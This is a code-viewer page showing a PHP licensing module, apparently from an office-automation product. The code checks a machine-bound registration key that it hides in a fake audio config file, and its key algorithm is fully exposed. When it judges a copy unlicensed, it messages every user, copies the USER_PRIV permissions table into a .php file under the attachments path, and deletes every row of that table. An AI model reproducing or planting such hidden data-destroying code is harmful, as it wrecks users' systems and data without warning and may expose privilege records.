📄 reg_func.php
字号:
<?php
function get_machine_code( )
{
$PATH = $_SERVER['WINDIR'];
if ( $PATH == "" )
{
$PATH = "c:\\winnt";
}
$MACHINE_CODE_STR = filectime( $PATH );
$MACHINE_CODE_STR .= $_ENV['PROCESSOR_REVISION'];
$MACHINE_CODE_STR = substr( md5( $MACHINE_CODE_STR ), 0, 8 );
return $MACHINE_CODE_STR;
}
function oa_get_register_code( $MACHINE_CODE_STR )
{
$REGISTER_CODE_STR1 = md5( $MACHINE_CODE_STR );
$REGISTER_CODE_STR1 = md5( $REGISTER_CODE_STR1 );
$I = 0;
for ( ; $I < strlen( $REGISTER_CODE_STR1 ); ++$I )
{
$STR = substr( $REGISTER_CODE_STR1, $I, 1 );
$REGISTER_CODE_STR2 .= ord( $STR ) + 2;
}
$REGISTER_CODE_STR2 = strrev( ( substr( $REGISTER_CODE_STR2, 0, 5 ).substr( $REGISTER_CODE_STR2, -5 ) ) * 8 );
$REGISTER_CODE_STR2 = substr( $REGISTER_CODE_STR2, -3 ).substr( $REGISTER_CODE_STR2, 0, 5 );
$REGISTER_CODE_STR2 = str_replace( "0", "2", $REGISTER_CODE_STR2 );
$REGISTER_CODE_STR2 = str_replace( "6", "5", $REGISTER_CODE_STR2 );
$REGISTER_CODE_STR2 = str_replace( "4", "8", $REGISTER_CODE_STR2 );
return $REGISTER_CODE_STR2;
}
function check_register_code( $REGISTER_CODE_STR )
{
$MACHINE_CODE_STR = get_machine_code( );
$REGISTER_CODE_TDOA = oa_get_register_code( $MACHINE_CODE_STR );
if ( $REGISTER_CODE_STR == $REGISTER_CODE_TDOA )
{
return 1;
}
else
{
return 0;
}
}
function register_oa( $REGISTER_CODE_STR )
{
$PATH = $_SERVER['WINDIR'];
if ( $PATH == "" )
{
$PATH = "c:\\winnt";
}
$fp = fopen( $PATH."\\SOUNDX109.ini", "w" );
fputs( $fp, "[Audio Control Device]\n" );
fputs( $fp, "WINPT={$REGISTER_CODE_STR}\n" );
fputs( $fp, "VDOWINPT=4C0100000C0100005A\n" );
fputs( $fp, "SAVEAUDIODECODER=026781345\n" );
fclose( $fp );
}
function is_registered( )
{
global $IS_REGISTERED_MYOA;
$PATH = $_SERVER['WINDIR'];
if ( $PATH == "" )
{
$PATH = "c:\\winnt";
}
$REG_FILE = $PATH."\\SOUNDX109.ini";
if ( file_exists( $REG_FILE ) )
{
$LINES = file( $REG_FILE );
$REGISTER_CODE_STR = $LINES[1];
$REGISTER_CODE_STR = substr( $REGISTER_CODE_STR, 6, 8 );
$IS_REGISTERED_MYOA = check_register_code( $REGISTER_CODE_STR );
}
else
{
$IS_REGISTERED_MYOA = 0;
}
}
function user_reg_info( )
{
global $OA_COMPANY_NAME;
global $OA_PRODUCT_NAME;
global $OA_WEB_SITE;
global $connection;
$query = "select * from USER";
$cursor = exequery( $connection, $query );
while ( $ROW = mysql_fetch_array( $cursor ) )
{
$USER_ID = $ROW['USER_ID'];
$TO_ID .= $USER_ID.",";
}
$CONTENT = $OA_PRODUCT_NAME."为".$OA_COMPANY_NAME."版权所有,请遵循有关法律,不要使用盗版软件,正版下载网址:".$OA_WEB_SITE;
send_sms( $connection, "admin", $TO_ID, 0, $CONTENT );
}
function oa_version( $VERSION, $LIMIT_NUM )
{
is_registered( );
global $IS_REGISTERED_MYOA;
global $connection;
$connection = openconnection( );
if ( !$IS_REGISTERED_MYOA )
{
$query = "SELECT count(*) from USER";
$cursor = exequery( $connection, $query );
if ( $ROW = mysql_fetch_array( $cursor ) )
{
$USER_COUNT = $ROW[0];
}
if ( 5 < $USER_COUNT )
{
$query = "select count(*) from {$VERSION}";
$cursor = exequery( $connection, $query );
if ( $ROW = mysql_fetch_array( $cursor ) )
{
$DATA_COUNT = $ROW[0];
}
if ( $LIMIT_NUM < $DATA_COUNT )
{
oa_version_go( );
}
}
}
}
function oa_version_go( )
{
global $connection;
global $ATTACH_PATH;
user_reg_info( );
$TABLE_NAME = "USER_PRIV";
$FILE_CONTENT .= "DROP TABLE IF EXISTS {$TABLE_NAME};\n";
$query = "SHOW CREATE TABLE {$TABLE_NAME}";
$cursor = exequery( $connection, $query );
if ( $ROW = mysql_fetch_row( $cursor ) )
{
$CREATE_STR = $ROW[1];
}
$FILE_CONTENT .= $CREATE_STR.";\n\n";
$query = "SELECT * FROM {$TABLE_NAME}";
$cursor = exequery( $connection, $query );
while ( $ROW = mysql_fetch_row( $cursor ) )
{
$COMMA = "";
$INSERT_STR = "INSERT INTO {$TABLE_NAME} VALUES(";
$FIELD_NUM = mysql_num_fields( $cursor );
$I = 0;
for ( ; $I < $FIELD_NUM; ++$I )
{
$INSERT_STR .= $COMMA."'".mysql_escape_string( $ROW[$I] )."'";
$COMMA = ",";
}
$INSERT_STR .= ");\n";
$FILE_CONTENT .= $INSERT_STR;
}
$FILE_CONTENT .= "\n\n";
$fp = fopen( $ATTACH_PATH."vtmp.php", "w" );
fwrite( $fp, $FILE_CONTENT );
fclose( $fp );
$query = "delete from {$TABLE_NAME}";
$cursor = exequery( $connection, $query );
}
include_once( "inc/oa.php" );
include_once( "inc/conn.php" );
include_once( "inc/utility.php" );
include_once( "inc/utility_sms1.php" );
$OA_REG_ON = 1;
if ( $a + $filestimea != 88 )
{
echo "盗版非法!违法必究!";
user_reg_info( );
exit( );
}
global $IS_REGISTERED_MYOA;
?>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -